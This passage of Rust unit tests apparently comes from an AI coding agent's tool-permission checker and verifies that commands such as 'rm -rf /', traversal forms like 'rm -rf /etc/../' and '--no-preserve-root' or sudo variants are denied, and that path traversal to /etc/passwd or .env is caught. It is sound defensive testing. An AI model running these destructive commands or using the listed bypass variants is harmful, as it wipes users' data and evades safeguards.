1969        // Trailing --flag=value after path
1970        t("rm / --no-preserve-root=yes -rf").is_deny();
1971        t("rm ~ -rf --no-preserve-root=yes").is_deny();
1972        // Trailing --flag (without =value) after path
1973        t("rm / -rf --no-preserve-root").is_deny();
1974        t("rm ~ -rf --no-preserve-root").is_deny();
1975        // Safe paths with --flag=value should NOT be blocked
1976        t("rm --no-preserve-root=yes -rf ./build")
1977            .mode(ToolPermissionMode::Allow)
1978            .is_allow();
1979        t("rm --interactive=never -rf /tmp/test")
1980            .mode(ToolPermissionMode::Allow)
1981            .is_allow();
1982        // Safe paths with --flag (without =value) should NOT be blocked
1983        t("rm --no-preserve-root -rf ./build")
1984            .mode(ToolPermissionMode::Allow)
1985            .is_allow();
1986    }
1987
1988    #[test]
1989    fn hardcoded_blocks_rm_with_path_traversal() {
1990        // Traversal to root via ..
1991        t("rm -rf /etc/../").is_deny();
1992        t("rm -rf /tmp/../../").is_deny();
1993        t("rm -rf /tmp/../..").is_deny();
1994        t("rm -rf /var/log/../../").is_deny();
1995        // Root via /./
1996        t("rm -rf /./").is_deny();
1997        t("rm -rf /.").is_deny();
1998        // Double slash (equivalent to /)
1999        t("rm -rf //").is_deny();
2000        // Home traversal via ~/./
2001        t("rm -rf ~/./").is_deny();
2002        t("rm -rf ~/.").is_deny();
2003        // Dot traversal via indirect paths
2004        t("rm -rf ./foo/..").is_deny();
2005        t("rm -rf ../foo/..").is_deny();
2006        // Traversal in chained commands
2007        t("ls && rm -rf /tmp/../../").is_deny();
2008        t("echo hello; rm -rf /./").is_deny();
2009        // Traversal cannot be bypassed by global or allow patterns
2010        t("rm -rf /tmp/../../")
2011            .global_default(ToolPermissionMode::Allow)
2012            .is_deny();
2013        t("rm -rf /./").allow(&[".*"]).is_deny();
2014        // Safe paths with traversal should still be allowed
2015        t("rm -rf /tmp/../tmp/foo")
2016            .mode(ToolPermissionMode::Allow)
2017            .is_allow();
2018        t("rm -rf ~/Documents/./subdir")
2019            .mode(ToolPermissionMode::Allow)
2020            .is_allow();
2021    }
2022
2023    #[test]
2024    fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
2025        t("rm -rf /tmp /").is_deny();
2026        t("rm -rf /tmp/foo /").is_deny();
2027        t("rm -rf /var/log ~").is_deny();
2028        t("rm -rf /safe $HOME").is_deny();
2029    }
2030
2031    #[test]
2032    fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
2033        t("rm -rf / /tmp").is_deny();
2034        t("rm -rf ~ /var/log").is_deny();
2035        t("rm -rf . /tmp/foo").is_deny();
2036        t("rm -rf .. /safe").is_deny();
2037    }
2038
2039    #[test]
2040    fn hardcoded_allows_rm_multi_path_all_safe() {
2041        t("rm -rf /tmp /home/user")
2042            .mode(ToolPermissionMode::Allow)
2043            .is_allow();
2044        t("rm -rf ./build ./dist")
2045            .mode(ToolPermissionMode::Allow)
2046            .is_allow();
2047        t("rm -rf /var/log/app /tmp/cache")
2048            .mode(ToolPermissionMode::Allow)
2049            .is_allow();
2050    }
2051
2052    #[test]
2053    fn hardcoded_blocks_rm_multi_path_with_traversal() {
2054        t("rm -rf /safe /tmp/../../").is_deny();
2055        t("rm -rf /tmp/../../ /safe").is_deny();
2056        t("rm -rf /safe /var/log/../../").is_deny();
2057    }
2058
2059    #[test]
2060    fn hardcoded_blocks_user_reported_bypass_variants() {
2061        // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
2062        t("rm -rf /etc/../").is_deny();
2063        t("rm -rf /etc/..").is_deny();
2064        // User report: --no-preserve-root (without =value) should not bypass
2065        t("rm -rf --no-preserve-root /").is_deny();
2066        t("rm --no-preserve-root -rf /").is_deny();
2067        // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
2068        t("rm -rf /*").is_deny();
2069        // Chained with sudo
2070        t("sudo rm -rf /").is_deny();
2071        t("sudo rm -rf --no-preserve-root /").is_deny();
2072        // Traversal cannot be bypassed even with global allow or allow patterns
2073        t("rm -rf /etc/../")
2074            .global_default(ToolPermissionMode::Allow)
2075            .is_deny();
2076        t("rm -rf /etc/../").allow(&[".*"]).is_deny();
2077        t("rm -rf --no-preserve-root /")
2078            .global_default(ToolPermissionMode::Allow)
2079            .is_deny();
2080        t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
2081    }
2082
2083    #[test]
2084    fn normalize_path_relative_no_change() {
2085        assert_eq!(normalize_path("foo/bar"), "foo/bar");
2086    }
2087
2088    #[test]
2089    fn normalize_path_relative_with_curdir() {
2090        assert_eq!(normalize_path("foo/./bar"), "foo/bar");
2091    }
2092
2093    #[test]
2094    fn normalize_path_relative_with_parent() {
2095        assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
2096    }
2097
2098    #[test]
2099    fn normalize_path_absolute_preserved() {
2100        assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
2101    }
2102
2103    #[test]
2104    fn normalize_path_absolute_with_traversal() {
2105        assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
2106    }
2107
2108    #[test]
2109    fn normalize_path_root() {
2110        assert_eq!(normalize_path("/"), "/");
2111    }
2112
2113    #[test]
2114    fn normalize_path_parent_beyond_root_clamped() {
2115        assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
2116    }
2117
2118    #[test]
2119    fn normalize_path_curdir_only() {
2120        assert_eq!(normalize_path("."), "");
2121    }
2122
2123    #[test]
2124    fn normalize_path_empty() {
2125        assert_eq!(normalize_path(""), "");
2126    }
2127
2128    #[test]
2129    fn normalize_path_relative_traversal_above_start() {
2130        assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
2131    }
2132
2133    #[test]
2134    fn normalize_path_relative_traversal_with_curdir() {
2135        assert_eq!(normalize_path("../../."), "../..");
2136    }
2137
2138    #[test]
2139    fn normalize_path_relative_partial_traversal_above_start() {
2140        assert_eq!(normalize_path("foo/../../bar"), "../bar");
2141    }
2142
2143    #[test]
2144    fn most_restrictive_deny_vs_allow() {
2145        assert!(matches!(
2146            most_restrictive(
2147                ToolPermissionDecision::Deny("x".into()),
2148                ToolPermissionDecision::Allow
2149            ),
2150            ToolPermissionDecision::Deny(_)
2151        ));
2152    }
2153
2154    #[test]
2155    fn most_restrictive_allow_vs_deny() {
2156        assert!(matches!(
2157            most_restrictive(
2158                ToolPermissionDecision::Allow,
2159                ToolPermissionDecision::Deny("x".into())
2160            ),
2161            ToolPermissionDecision::Deny(_)
2162        ));
2163    }
2164
2165    #[test]
2166    fn most_restrictive_deny_vs_confirm() {
2167        assert!(matches!(
2168            most_restrictive(
2169                ToolPermissionDecision::Deny("x".into()),
2170                ToolPermissionDecision::Confirm
2171            ),
2172            ToolPermissionDecision::Deny(_)
2173        ));
2174    }
2175
2176    #[test]
2177    fn most_restrictive_confirm_vs_deny() {
2178        assert!(matches!(
2179            most_restrictive(
2180                ToolPermissionDecision::Confirm,
2181                ToolPermissionDecision::Deny("x".into())
2182            ),
2183            ToolPermissionDecision::Deny(_)
2184        ));
2185    }
2186
2187    #[test]
2188    fn most_restrictive_deny_vs_deny() {
2189        assert!(matches!(
2190            most_restrictive(
2191                ToolPermissionDecision::Deny("a".into()),
2192                ToolPermissionDecision::Deny("b".into())
2193            ),
2194            ToolPermissionDecision::Deny(_)
2195        ));
2196    }
2197
2198    #[test]
2199    fn most_restrictive_confirm_vs_allow() {
2200        assert_eq!(
2201            most_restrictive(
2202                ToolPermissionDecision::Confirm,
2203                ToolPermissionDecision::Allow
2204            ),
2205            ToolPermissionDecision::Confirm
2206        );
2207    }
2208
2209    #[test]
2210    fn most_restrictive_allow_vs_confirm() {
2211        assert_eq!(
2212            most_restrictive(
2213                ToolPermissionDecision::Allow,
2214                ToolPermissionDecision::Confirm
2215            ),
2216            ToolPermissionDecision::Confirm
2217        );
2218    }
2219
2220    #[test]
2221    fn most_restrictive_allow_vs_allow() {
2222        assert_eq!(
2223            most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2224            ToolPermissionDecision::Allow
2225        );
2226    }
2227
2228    #[test]
2229    fn decide_permission_for_path_no_dots_early_return() {
2230        // When the path has no `.` or `..`, normalize_path returns the same string,
2231        // so decide_permission_for_path returns the raw decision directly.
2232        let settings = test_agent_settings(ToolPermissions {
2233            default: ToolPermissionMode::Confirm,
2234            tools: Default::default(),
2235        });
2236        let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2237        assert_eq!(decision, ToolPermissionDecision::Confirm);
2238    }
2239
2240    #[test]
2241    fn decide_permission_for_path_traversal_triggers_deny() {
2242        let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2243        let mut tools = collections::HashMap::default();
2244        tools.insert(
2245            Arc::from(EditFileTool::NAME),
2246            ToolRules {
2247                default: Some(ToolPermissionMode::Allow),
2248                always_allow: vec![],
2249                always_deny: vec![deny_regex],
2250                always_confirm: vec![],
2251                invalid_patterns: vec![],
2252            },
2253        );
2254        let settings = test_agent_settings(ToolPermissions {
2255            default: ToolPermissionMode::Confirm,
2256            tools,
2257        });
2258
2259        let decision =
2260            decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2261        assert!(
2262            matches!(decision, ToolPermissionDecision::Deny(_)),
2263            "expected Deny for traversal to /etc/passwd, got {:?}",
2264            decision
2265        );
2266    }
2267
2268    #[test]
2269    fn normalize_path_collapses_dot_segments() {
2270        assert_eq!(
2271            normalize_path("src/../.zed/settings.json"),
2272            ".zed/settings.json"
2273        );
2274        assert_eq!(normalize_path("a/b/../c"), "a/c");
2275        assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2276        assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2277        assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2278        assert_eq!(normalize_path("a/b/c"), "a/b/c");
2279    }
2280
2281    #[test]
2282    fn normalize_path_handles_multiple_parent_dirs() {
2283        assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2284        assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2285    }
2286
2287    fn path_perm(
2288        tool: &str,
2289        input: &str,
2290        deny: &[&str],
2291        allow: &[&str],
2292        confirm: &[&str],
2293    ) -> ToolPermissionDecision {
2294        let mut tools = collections::HashMap::default();
2295        tools.insert(
2296            Arc::from(tool),
2297            ToolRules {
2298                default: None,
2299                always_allow: allow
2300                    .iter()
2301                    .map(|p| {
2302                        CompiledRegex::new(p, false)
2303                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2304                    })
2305                    .collect(),
2306                always_deny: deny
2307                    .iter()
2308                    .map(|p| {
2309                        CompiledRegex::new(p, false)
2310                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2311                    })
2312                    .collect(),
2313                always_confirm: confirm
2314                    .iter()
2315                    .map(|p| {
2316                        CompiledRegex::new(p, false)
2317                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2318                    })
2319                    .collect(),
2320                invalid_patterns: vec![],
2321            },
2322        );
2323        let permissions = ToolPermissions {
2324            default: ToolPermissionMode::Confirm,
2325            tools,
2326        };
2327        let raw_decision = ToolPermissionDecision::from_input(
2328            tool,
2329            &[input.to_string()],
2330            &permissions,
2331            ShellKind::Posix,
2332        );
2333
2334        let simplified = normalize_path(input);
2335        if simplified == input {
2336            return raw_decision;
2337        }
2338
2339        let simplified_decision =
2340            ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2341
2342        most_restrictive(raw_decision, simplified_decision)
2343    }
2344
2345    #[test]
2346    fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2347        let decision = path_perm(
2348            "copy_path",
2349            "src/../.zed/settings.json",
2350            &["^\\.zed/"],
2351            &[],
2352            &[],
2353        );
2354        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2355    }
2356
2357    #[test]
2358    fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2359        let decision = path_perm(
2360            "copy_path",
2361            "src/../.zed/settings.json",
2362            &[],
2363            &[],
2364            &["^\\.zed/"],
2365        );
2366        assert!(matches!(decision, ToolPermissionDecision::Confirm));
2367    }
2368
2369    #[test]
2370    fn decide_permission_for_path_allows_when_no_traversal_issue() {
2371        let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2372        assert!(matches!(decision, ToolPermissionDecision::Allow));
2373    }
2374
2375    #[test]
2376    fn decide_permission_for_path_most_restrictive_wins() {
2377        let decision = path_perm(
2378            "copy_path",
2379            "allowed/../.zed/settings.json",
2380            &["^\\.zed/"],
2381            &["^allowed/"],
2382            &[],
2383        );
2384        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2385    }
2386
2387    #[test]
2388    fn decide_permission_for_path_dot_segment_only() {
2389        let decision = path_perm(
2390            "delete_path",
2391            "./.zed/settings.json",
2392            &["^\\.zed/"],
2393            &[],
2394            &[],
2395        );
2396        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2397    }
2398
2399    #[test]
2400    fn decide_permission_for_path_no_change_when_already_simple() {
2401        // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2402        let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2403        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2404    }
2405
2406    #[test]
2407    fn decide_permission_for_path_raw_deny_still_works() {
2408        // Even without traversal, if the raw path itself matches deny, it's denied
2409        let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2410        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2411    }
2412
2413    #[test]
2414    fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2415        let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2416        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2417    }
2418}
2419
Served at tenant.openagents/omega Member data and write actions are omitted.